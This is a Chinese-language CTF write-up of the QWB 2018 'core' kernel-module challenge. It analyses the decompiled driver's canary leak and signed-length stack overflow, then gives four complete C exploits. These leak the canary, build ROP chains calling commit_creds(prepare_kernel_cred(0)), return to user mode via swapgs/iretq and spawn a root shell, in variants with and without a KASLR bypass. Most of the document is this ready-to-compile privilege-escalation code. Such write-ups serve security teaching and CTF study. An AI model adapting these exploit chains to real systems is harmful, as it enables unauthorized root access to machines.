题目分析
core_write
signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{unsigned __int64 v3; // rbxv3 = a3;printk(&unk_215);if ( v3 <= 0x800 && !copy_from_user(&name, a2, v3) )return (unsigned int)v3;printk(&unk_230);return 4294967282LL;
}
core_write:将用户态的内容写入内核态全局变量name中
core_ioctl
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{__int64 v3; // rbxv3 = a3;switch ( a2 ){case 0x6677889B:core_read(a3);break;case 0x6677889C:printk(&unk_2CD);off = v3;break;case 0x6677889A:printk(&unk_2B3);core_copy_func(v3);break;}return 0LL;
}
core_copy_func
signed __int64 __fastcall core_copy_func(signed __int64 a1)
{signed __int64 result; // rax__int64 v2; // [rsp+0h] [rbp-50h]unsigned __int64 v3; // [rsp+40h] [rbp-10h]v3 = __readgsqword(0x28u);printk(&unk_215);if ( a1 > 63 ){printk(&unk_2A1);result = 0xFFFFFFFFLL;}else{result = 0LL;qmemcpy(&v2, &name, (unsigned __int16)a1);}return result;
}
core_copy_func:将signed __int64 a1
,将name中a1长度拷贝到局部变量v2中
- 这里有个问题,当a1是负数的时候,可以绕过
if ( a1 > 63 )
检测 qmemcpy(&v2, &name, (unsigned __int16)a1);
取a1的低二字节作为长度,将name的内容写入到v2中
设置off
case 0x6677889C:printk(&unk_2CD);off = v3;break;
可以通过ioctl,cmd为0x6677889C指定off
core_read
unsigned __int64 __fastcall core_read(__int64 a1)
{__int64 v1; // rbx__int64 *v2; // rdisigned __int64 i; // rcxunsigned __int64 result; // rax__int64 v5; // [rsp+0h] [rbp-50h]unsigned __int64 v6; // [rsp+40h] [rbp-10h]v1 = a1;v6 = __readgsqword(0x28u);printk(&unk_25B);printk(&unk_275);v2 = &v5;for ( i = 16LL; i; --i ){*(_DWORD *)v2 = 0;v2 = (__int64 *)((char *)v2 + 4);}strcpy((char *)&v5, "Welcome to the QWB CTF challenge.\n");result = copy_to_user(v1, (char *)&v5 + off, 0x40LL);if ( !result )return __readgsqword(0x28u) ^ v6;__asm { swapgs }return result;
}
由于可以指定core_read
,可以越界读取v5及其栈中的内容
利用方式
- 经典的栈溢出漏洞
- 先设置off,然后通过
core_read
读取canary - 再通过
core_copy_func
在栈上布局rop,提权
01_no_kaslr_ret2user
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*]status has been saved.");
}void get_shell(void){system("/bin/sh");
}void set_off(int fd, long long idx)
{printf("[*]set off to %ld\n", idx);ioctl(fd, 0x6677889C, idx);
}void core_read(int fd, char *buf)
{puts("[*]read to buf.");ioctl(fd, 0x6677889B, buf);}void core_copy_func(int fd, long long size)
{printf("[*]copy from user with size: %ld\n", size);ioctl(fd, 0x6677889A, size);
}size_t prepare_kernel_cred = 0xffffffff8109cce0;
size_t commit_creds = 0xffffffff8109c8e0;void get_root()
{char* (*pkc)(int) = prepare_kernel_cred;void (*cc)(char*) = commit_creds;(*cc)((*pkc)(0));/* puts("[*] root now."); */
}int main()
{save_status();int fd = open("/proc/core",O_RDWR);set_off(fd, 0x40);size_t buf[0x40/8];core_read(fd, buf);size_t canary = buf[0];printf("[*]canary : %p\n", canary);size_t rop[0x30] = {0};rop[8] = canary ; // exp 相对于 poc 的差别// rop[10] = 0x4141414141414141;rop[10] = (size_t)get_root;rop[11] = 0xffffffff81a012da; // swapgs; popfq; retrop[12] = 0;rop[13] = 0xffffffff81050ac2; // iretq; ret;rop[14] = (size_t)get_shell; rop[15] = user_cs;rop[16] = user_rflags;rop[17] = user_sp;rop[18] = user_ss;write(fd, rop, 0x30 * 8);core_copy_func(fd, 0xffffffffffff0000 | (0x100));return 0;
}
02_no_kaslr_rop
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*]status has been saved.");
}void spawn_shell()
{if(!getuid()){system("/bin/sh");}else{puts("[*]spawn shell error!");}exit(0);
}void set_off(int fd, long long idx)
{printf("[*]set off to %ld\n", idx);ioctl(fd, 0x6677889C, idx);
}void core_read(int fd, char *buf)
{puts("[*]read to buf.");ioctl(fd, 0x6677889B, buf);}void core_copy_func(int fd, long long size)
{printf("[*]copy from user with size: %ld\n", size);ioctl(fd, 0x6677889A, size);
}size_t prepare_kernel_cred = 0xffffffff8109cce0;
size_t commit_creds = 0xffffffff8109c8e0;void get_root()
{char* (*pkc)(int) = prepare_kernel_cred;void (*cc)(char*) = commit_creds;(*cc)((*pkc)(0));/* puts("[*] root now."); */
}int main()
{save_status();int fd = open("/proc/core",O_RDWR);set_off(fd, 0x40);size_t buf[0x40/8];core_read(fd, buf);size_t canary = buf[0];printf("[*]canary : %p\n", canary);int i = 10;size_t rop[0x30] = {0};rop[8] = canary ; // exp 相对于 poc 的差别// rop[10] = 0x4141414141414141;// 通过 rop链执行 commit_creds(prepare_kernel_cred (0));rop[i++] = 0xffffffff81000b2f; // pop rdi; retrop[i++] = 0;rop[i++] = prepare_kernel_cred;// prepare_kernel_cred(0)rop[i++] = 0xffffffff810a0f49; // pop rdx; retrop[i++] = 0xffffffff81021e53; // pop rcx; retrop[i++] = 0xffffffff8101aa6a; // mov rdi, rax; call rdx; rop[i++] = commit_creds;rop[i++] = 0xffffffff81a012da; // swapgs; popfq; retrop[i++] = 0;rop[i++] = 0xffffffff81050ac2; // iretq; ret; rop[i++] = (size_t)spawn_shell; // rip 返回到用户态后检查一下uid的值rop[i++] = user_cs; // csrop[i++] = user_rflags; // rflagsrop[i++] = user_sp; // rsprop[i++] = user_ss; // sswrite(fd, rop, 0x30 * 8);core_copy_func(fd, 0xffffffffffff0000 | (0x100));return 0;
}
03_kaslr_ret2user_exp
这里绕过kaslr,还是通过题目提供的/tmp/kallsyms
获取的符号地址
// gcc -static ret2user_exp.c -masm=intel -o ret2user_exp
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*]status has been saved.");
}void get_shell(void){system("/bin/sh");
}size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;
size_t find_symbols()
{FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */if(kallsyms_fd < 0){puts("[*]open kallsyms error!");exit(0);}char buf[0x30] = {0};while(fgets(buf, 0x30, kallsyms_fd)){if(commit_creds & prepare_kernel_cred)return 0;if(strstr(buf, "commit_creds") && !commit_creds){/* puts(buf); */char hex[20] = {0};strncpy(hex, buf, 16);/* printf("hex: %s\n", hex); */sscanf(hex, "%llx", &commit_creds);printf("commit_creds addr: %p\n", commit_creds);vmlinux_base = commit_creds - 0x9c8e0;printf("vmlinux_base addr: %p\n", vmlinux_base);}if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred){/* puts(buf); */char hex[20] = {0};strncpy(hex, buf, 16);sscanf(hex, "%llx", &prepare_kernel_cred);printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);vmlinux_base = prepare_kernel_cred - 0x9cce0;/* printf("vmlinux_base addr: %p\n", vmlinux_base); */}}if(!(prepare_kernel_cred & commit_creds)){puts("[*]Error!");exit(0);}}void get_root()
{char* (*pkc)(int) = prepare_kernel_cred;void (*cc)(char*) = commit_creds;(*cc)((*pkc)(0));/* puts("[*] root now."); */
}void set_off(int fd, long long idx)
{printf("[*]set off to %ld\n", idx);ioctl(fd, 0x6677889C, idx);
}void core_read(int fd, char *buf)
{puts("[*]read to buf.");ioctl(fd, 0x6677889B, buf);}void core_copy_func(int fd, long long size)
{printf("[*]copy from user with size: %ld\n", size);ioctl(fd, 0x6677889A, size);
}int main(void)
{find_symbols();size_t offset = vmlinux_base - raw_vmlinux_base;save_status();int fd = open("/proc/core",O_RDWR);set_off(fd, 0x40);size_t buf[0x40/8];core_read(fd, buf);size_t canary = buf[0];printf("[*]canary : %p\n", canary);size_t rop[0x30] = {0};rop[8] = canary ; rop[10] = (size_t)get_root;rop[11] = 0xffffffff81a012da + offset; // swapgs; popfq; retrop[12] = 0;rop[13] = 0xffffffff81050ac2 + offset; // iretq; ret;rop[14] = (size_t)get_shell; rop[15] = user_cs;rop[16] = user_rflags;rop[17] = user_sp;rop[18] = user_ss;puts("[*] DEBUG: ");getchar();write(fd, rop, 0x30 * 8);core_copy_func(fd, 0xffffffffffff0000 | (0x100));
}
04_kaslr_rop_exp
// gcc exploit.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>void spawn_shell()
{if(!getuid()){system("/bin/sh");}else{puts("[*]spawn shell error!");}exit(0);
}size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
/* * give_to_player [master●●] check ./core.ko./core.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=54943668385c6573ec1b40a7c06127d9423103b3, not stripped[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/core.ko'Arch: amd64-64-littleRELRO: No RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x0)
*/
size_t vmlinux_base = 0;
size_t find_symbols()
{FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */if(kallsyms_fd < 0){puts("[*]open kallsyms error!");exit(0);}char buf[0x30] = {0};while(fgets(buf, 0x30, kallsyms_fd)){if(commit_creds & prepare_kernel_cred)return 0;if(strstr(buf, "commit_creds") && !commit_creds){/* puts(buf); */char hex[20] = {0};strncpy(hex, buf, 16);/* printf("hex: %s\n", hex); */sscanf(hex, "%llx", &commit_creds);printf("commit_creds addr: %p\n", commit_creds);/** give_to_player [master●●] bpythonbpython version 0.17.1 on top of Python 2.7.15 /usr/bin/python>>> from pwn import *>>> vmlinux = ELF("./vmlinux")[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/vmlinux'Arch: amd64-64-littleRELRO: No RELROStack: Canary foundNX: NX disabledPIE: No PIE (0xffffffff81000000)RWX: Has RWX segments>>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)'0x9c8e0'*/vmlinux_base = commit_creds - 0x9c8e0;printf("vmlinux_base addr: %p\n", vmlinux_base);}if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred){/* puts(buf); */char hex[20] = {0};strncpy(hex, buf, 16);sscanf(hex, "%llx", &prepare_kernel_cred);printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);vmlinux_base = prepare_kernel_cred - 0x9cce0;/* printf("vmlinux_base addr: %p\n", vmlinux_base); */}}if(!(prepare_kernel_cred & commit_creds)){puts("[*]Error!");exit(0);}}size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*]status has been saved.");
}void set_off(int fd, long long idx)
{printf("[*]set off to %ld\n", idx);ioctl(fd, 0x6677889C, idx);
}void core_read(int fd, char *buf)
{puts("[*]read to buf.");ioctl(fd, 0x6677889B, buf);}void core_copy_func(int fd, long long size)
{printf("[*]copy from user with size: %ld\n", size);ioctl(fd, 0x6677889A, size);
}int main()
{save_status();int fd = open("/proc/core", 2);if(fd < 0){puts("[*]open /proc/core error!");exit(0);}find_symbols();// gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;ssize_t offset = vmlinux_base - raw_vmlinux_base;set_off(fd, 0x40);char buf[0x40] = {0};core_read(fd, buf);size_t canary = ((size_t *)buf)[0];printf("[+]canary: %p\n", canary);size_t rop[0x1000] = {0};int i;for(i = 0; i < 10; i++){rop[i] = canary;}rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; retrop[i++] = 0;rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)// 关于 pop rcx; ret , call rdx的时候,会把 返回值push到栈中,需要把这个返回值弹走// 这里有一个pop_rcx_ret的原因是因为call指令的时候会把它的返回地址push入栈,这样会破坏我们的ROP链,所以要把它pop出去:rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; retrop[i++] = 0xffffffff81021e53 + offset; // pop rcx; retrop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; rop[i++] = commit_creds;rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; retrop[i++] = 0;rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; rop[i++] = (size_t)spawn_shell; // rip rop[i++] = user_cs; // csrop[i++] = user_rflags; // rflagsrop[i++] = user_sp; // rsprop[i++] = user_ss; // sswrite(fd, rop, 0x800);core_copy_func(fd, 0xffffffffffff0000 | (0x100));return 0;
}